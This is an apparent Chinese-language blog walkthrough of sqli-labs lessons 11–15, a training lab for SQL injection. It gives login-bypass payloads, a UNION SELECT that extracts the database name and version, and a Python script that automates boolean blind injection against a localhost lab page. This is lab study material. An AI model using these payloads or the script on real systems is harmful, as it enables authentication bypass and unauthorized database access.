Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

第十一题 报错

这里写代码片

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)_第1张图片

一个登陆界面

这是登陆成功
Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)_第2张图片

用户名输入单引号报错

这里写图片描述

猜测是

select * from users where username='$name' and password='$password'

闭合

select * from users where username='  'or  1=1 #  ' and password='$password'

要将后面的and注释掉 不然语句就是或者 1=1并且密码等于这个了。

payload就是

username=’ or 1=1 #
闭合了前面对用户名的判断,注释了后面对密码的判断。使用 or 或者 1=1 肯定是对的。就可以登陆成功了。

看到页面上面有两个显示的用户名和密码的,但是还是要使用 order by测试下查询了几个数据并显示

确实是两个,order by 3的时候报错。没有第三个字段当然就不能以第三个字段排序了

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)_第3张图片

让其回显数据,直接

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)_第4张图片

第十二题 双引号报错

双引号报错

这个颜色真的辣眼睛

这里写图片描述

根据报错信息

猜测应该是 加了括号

select * from users where username=(“$username”) and password….

直接闭合 双引号和括号

username

")or 1=1#

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)_第5张图片

闭合双引号和括号在 1=1注释密码~

uname=") union select database(),version()#&passwd=1

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)_第6张图片

第十三题 单引号报错

单引号报错

这里写图片描述
闭合payload

')or 1=1 #

or (substr((select database()),1,1)='s'

可以布尔盲注

payload

uname=' )or  (select substr((select database()),1,1))='s' # &passwd=1

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)_第7张图片

写个脚本

获取数据库名长度

uname=' ) or length((select database()))=8 #&passwd=1
import requests
#uname=' )or  (select substr((select database()),1,1))='s' # &passwd=1
url = "http://localhost/sqli-labs/Less-13/";
name =""
database_length=0
#正确的话就存在 flag.jpg
database_length_payload = "uname=' ) or length((select database()))={0} #"
database_name_payload = "uname=' )or  (select substr((select database()),{0},1))='{1}' # &passwd=1"
def get_response(payload,value,*args):
    if len(args)==0:
        payload=payload.format(value)
        data = {'uname': payload, 'passwd': '1'}
    else:
        payload = payload.format(value,args[0])
        data = {'uname': payload, 'passwd': '1'}
    print(data)
    html = requests.post(url, data=data)
    if "flag.jpg" in html.text:
        return True
    else:
        return False
for n in range(100):
    if get_response(database_length_payload,n):
        print("[+] database_length is {0}".format(n) )
        database_length=n
        break
for nn in range(1,database_length+1):
    for v in "qwertyuioplkjhgfdsazxcvbnm":
        if get_response(database_name_payload,nn,v):
            name =name+v
            print("[+] database name is {0}".format(name))
            break
print("[*] database name is {0}".format(name))

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)_第8张图片

第十四题 双引号报错

双引号报错

这里写图片描述

闭合绕过

" or 1=1 #

//写了一堆是绕过登陆的。。。。应该获取数据库信息才行~!~!!!

十四题使用十三题的去掉括号,单引号换成双引号

修改payload直接上面的脚本跑获取数据库信息

第十五题 单引号报错

单引号报错,还是之前的脚本修改 payload

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)_第9张图片

你可能感兴趣的:(sqli-labs,安全)